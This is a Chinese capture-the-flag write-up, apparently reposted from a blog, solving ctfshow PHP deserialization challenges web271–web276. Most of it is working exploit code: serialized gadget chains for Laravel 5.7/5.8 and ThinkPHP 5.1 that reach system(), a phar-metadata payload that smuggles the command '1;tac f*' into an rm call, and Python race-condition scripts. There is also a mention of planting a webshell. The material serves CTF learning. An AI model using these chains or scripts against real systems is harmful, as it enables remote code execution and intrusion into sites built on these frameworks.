ctfshow-反序列化(web271-web276)

这篇具有很好参考价值的文章主要介绍了ctfshow-反序列化(web271-web276)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

web271

web272-273

web274

web275

web276


为什么不用分析具体为什么能成功 ,后面会有几个专题 会对php框架进行更深入的了解 这里面会专门的研究 为什么能够实现RCE

前面作为初步的熟悉 首先知道一下他的框架 知道框架的风格 知道啥版本可以用什么来打

首先先不用太研究 这样的话 自己会感觉会难 所以以后再说 随着积累刚开始不理解的地方做的多了就豁然开朗

就像收集的框架确定有用后 可以保留 以后没准遇得到

web271

laravel5.7反序列化漏洞

使用网上公布的反序列化的链子

源代码

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

exp

<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
	class PendingCommand{
		protected $command;
		protected $parameters;
		protected $app;
		public $test;
		public function __construct($command, $parameters,$class,$app)
	    {
	        $this->command = $command;
	        $this->parameters = $parameters;
	        $this->test=$class;
	        $this->app=$app;
	    }
	}
}
namespace Illuminate\Auth{
	class GenericUser{
		protected $attributes;
		public function __construct(array $attributes){
	        $this->attributes = $attributes;
	    }
	}
}
namespace Illuminate\Foundation{
	class Application{
		protected $hasBeenBootstrapped = false;
		protected $bindings;
		public function __construct($bind){
			$this->bindings=$bind;
		}
	}
}
namespace{
	echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls /'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

不知道为什么么找了好多链子 这个和大师傅的链子一摸一样 但是都有一个通用的问题 一旦命令中出现空格 就不好使,自己找出来解决方式了 使用$IFS代表空格   $IFS$9 是为了绕过命令中的空格 加不加$9都可以 他俩的意思应该都是空格 反正能代替空格

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

发现了flag

查看flag内容

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

web272-273

laravel5.8反序列化漏洞

源码

<?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

看看之前的poc可不可以 不行,新找一个

exp

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events="",$event="")
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection = 'tac$IFS/f*';
    }
}

namespace{
    $d = new Illuminate\Bus\Dispatcher();
    $b = new Illuminate\Broadcasting\BroadcastEvent();
    $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
    echo urlencode(serialize($p));
}

?>

查看根目录文件

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

查看flag

成功

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

大师傅的链子我没找到 找到一个基本差不多的 但是我的不好使 他直接传cookie 将结果传进了cookie中

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

然后的到路径后 写木马到1.php

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

web273用272的链子就行 老师的这个我是真喜欢 但是我的不好使

web274

thinkphp框架

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

5.1也有几个链子

现在就是找反序列化入口

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

查看源码发现提示 GET方式传入data参数 

网上找一个thinkphp5.1的链子

exp

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

通过lin进行传参

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

成功获取flag

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

web275

代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
    public $filename; //定义三个属性
    public $filecontent;
    public $evilfile=false;
    public function __construct($f,$fn){//将传进来的两个参数赋值给属性
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){//在filename如果匹配了php 那就给evilfile赋值为真
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){//在filecontent如果匹配flag 那就给evilfile赋值为真
            $this->evilfile=true;
        }
        return $this->evilfile;//返回evilfile
    }
    public function __destruct(){//反序列化的时候 如果evilfile为真
        if($this->evilfile){ //执行系统命令rm $filename
            system('rm '.$this->filename);
        }
    }
}
if(isset($_GET['fn'])){//传入fn
    $content = file_get_contents('php://input');//获取通过 HTTP POST 请求发送的原始数据。
    $f = new filter($_GET['fn'],$content);//传入两个参数 第一个参数get获取到的 第二个参数post获取到的  会先触发construct后触发destruct
    if($f->checkevil()===false){//如果evilfile为假
        file_put_contents($_GET['fn'], $content);//写文件 将POST值写入GET的值的文件中
        copy($_GET['fn'],md5(mt_rand()).'.txt');//将从 GET 请求中获取的文件复制到一个以随机生成的 MD5 哈希作为文件名的新文件中。
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除GET的文件 前面代表网站根目录
        echo 'work done';
    }
}else{
    echo 'where is flag?';
}
where is flag?
//

看的差不多足够我们RCE(远程代码执行)了

很简单

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

查看flag

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

可以看到都不需要干别的就能rce了

web276

(这道题我感觉我比百度搜的都细 这道题他们都不写)

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
mytime 2023/12/7 23:20
*/
highlight_file(__FILE__);
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){//必须保证evilfile和admin都为真 才可以
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);//删除文件 在删除见我们要使用phar://进行解析该文件使得phar文件内容进行反序列化
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

<?php file_put_contents("new_file.txt", "Hello, World!"); ?>

需要先写入phar包,然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行

phar包通过 phar:// 解析获取处理时会反序列化

先生成一个我们所需的phar包(使用php生成phar模板按照我们所需要求修改的)

生成phar包

<?php
highlight_file(__FILE__);
class filter{
    public $filename="1;tac f*";
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
}
$a=new filter();
@unlink('phar.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('phar.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($a);//写入meta-data 这里进行序列化
$phar->addFromString("phar.txt","phar");  //添加要压缩的文件
$phar->stopBuffering();

用python写一个脚本 持续提交phar和获取phar内容 开启条件竞争 (这个脚本按照大师傅 自己写的 真爽 写的代码量巨少 功能巨强)

python脚本

import requests
import threading
url = 'http://8f28ec2c-f5c0-445d-b3a3-ac9ebe60556c.challenge.ctf.show/'
data = open('./phar.phar', 'rb').read()
flag = True
def write(): # 写入phar.phar
    requests.post(url+'?fn=phar.phar', data=data)#post方法提交数据 数据就是从本地phar文件中获取的二进制数据(图像视频什么的必须使用二进制方式读取否则乱码)
def unserialize(): # 触发反序列化
    global flag  #在函数内部声明一个全局变量 函数内部修改变量 必须使用global
    r = requests.get(url+'?fn=phar://phar.phar')#发送get请求 以phar方式进行读取我们传入的phar文件 在没删除之前快速读取
    #请求如果获取到内容了保存在r变量中
    if 'ctfshow{' in r.text and flag:#在内容中如果存在ctfshow字样
        print(r.text)
        flag = False
while flag: # 线程条件竞争,直到读到flag
    threading.Thread(target = write).start() #开启一个线程 循环执行线程里面的函数
    threading.Thread(target = unserialize).start() #同理 直到输出了r.text flag为假 才会停止执行

执行python代码 成功获取到flag

ctfshow-反序列化(web271-web276),反序列化,CTFSHOW,渗透测试,网络安全,反序列化,反序列化漏洞

因为我是小白嘛 什么都不是很理解 这道题我发现了python脚本的好处 直呼神奇 

说是条件竞争 我又想到了一种 但是没有成功不知道什么原因 就是再没删除前写入一句话木马到一个文件内 ,最后访问这个文件 可惜没有成功 但是是个思路记录一下吧文章来源地址https://www.toymoban.com/news/detail-817089.html

import requests
import threading
import time
url = 'http://64ebefe9-27f9-48a2-bf08-06f23b3f36f0.challenge.ctf.show/'
data = "<?php file_put_contents('tzy.php','<?php phpinfo();?>', FILE_APPEND); ?>"
flag = True
def post():
    requests.post(url+'?fn=1.PHP', data=data)
def get1():
    requests.get(url + '1.php')
def get2():
    r = requests.get(url+'tzy.php')
    if 'PHP Version' in r.text:
        global flag
        flag = False
while flag:
    threading.Thread(target=get1).start()
    threading.Thread(target=get2).start()
    threading.Thread(target=post).start()

到了这里,关于ctfshow-反序列化(web271-web276)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 反序列化渗透与攻防(二)之Java反序列化漏洞

    JAVA反序列化漏洞到底是如何产生的? 1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。 2、Apache Commons Collections是开源小

    2023年04月17日
    浏览(37)
  • 反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞

    项目地址:Collections – Download Apache Commons Collections 本地复现环境: jdk 1.7.0_80 IDEA Project Structrure——Projrct设置成1.7 IDEA Project Structrure——Moudles设置成1.7 Settings——Build,Execution,Deployment——Compiler——Java Compiler——Target bytecode version设置成7 Apache Commons Collections ≤ 3.2.1 Apache Com

    2023年04月21日
    浏览(33)
  • 内网渗透靶场02----Weblogic反序列化+域渗透

     网络拓扑:                  利用 kscan工具 ,针对192.168.111.0/24 C段开展端口扫描,发现2台存活主机,具体如下图所示:                 192.168.111.80  开放 80、445、3389、7001 端口。                 192.168.111.201 开放 3389、445 端口 根据上述端口发放情况

    2024年02月19日
    浏览(26)
  • 渗透测试-Fastjson反序列化漏洞getshell

    目录 前言 测试环境准备 dnslog测试 搭建rmi服务器准备恶意类 引用JdbcRowSetImpl攻击 反弹shell$命令执行 总结 :fastjson 1.2.24反序列化导致任意命令执行漏洞 注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。 前言         最原始

    2024年02月07日
    浏览(46)
  • 渗透测试漏洞原理之---【不安全的反序列化】

    为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式⼤多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建

    2024年02月09日
    浏览(37)
  • Web安全--反序列化漏洞(java篇)

    序列化的意义就在于方便存储和传输,永久的保存到硬盘中,通常保存在一个文件中。 序列化:将java对象转换为字节序列的过程 反序列化:序列化的逆过程,从储存区读出字节序列还原成对象的过程 java应用在对用户的输入没有进行严格的检查时,即传入了不可信的数据做

    2024年02月09日
    浏览(41)
  • 【WEB安全】不安全的反序列化

    序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。 **序列化是指将对象或数据结构转换为字节流的过程。**在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议

    2024年02月16日
    浏览(43)
  • Web开发模式、API接口、restful规范、序列化和反序列化、drf安装和快速使用、路由转换器(复习)

    一 Web开发模式 1. 前后端混合开发模式 2.前后端分离开发模式 二 API接口 三 restful规范 四 序列化和反序列化 五 drf安装和快速使用

    2024年02月10日
    浏览(33)
  • 【wp】2023鹏城杯初赛 Web web1(反序列化漏洞)

    考点: 常规的PHP反序列化漏洞+双写绕过waf 签到题 源码: 代码审计: 入口肯定是H. __destruct()魔术方法进去,然后这里就涉及到下一步tostring()魔术方法的触发 ,但是这里涉及两个tostring()方法 然后这里就有个非预期解 非预期解:  POP链:H.destruct()-Hacker.tostring() 代码构造

    2024年02月05日
    浏览(22)
  • 38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。 反序列化:从存储区中读取该数据,并将其还原为对象的过程,成为反序列化。 1、主函数: 调用序列化方法 将反序列化的的结果

    2024年01月25日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包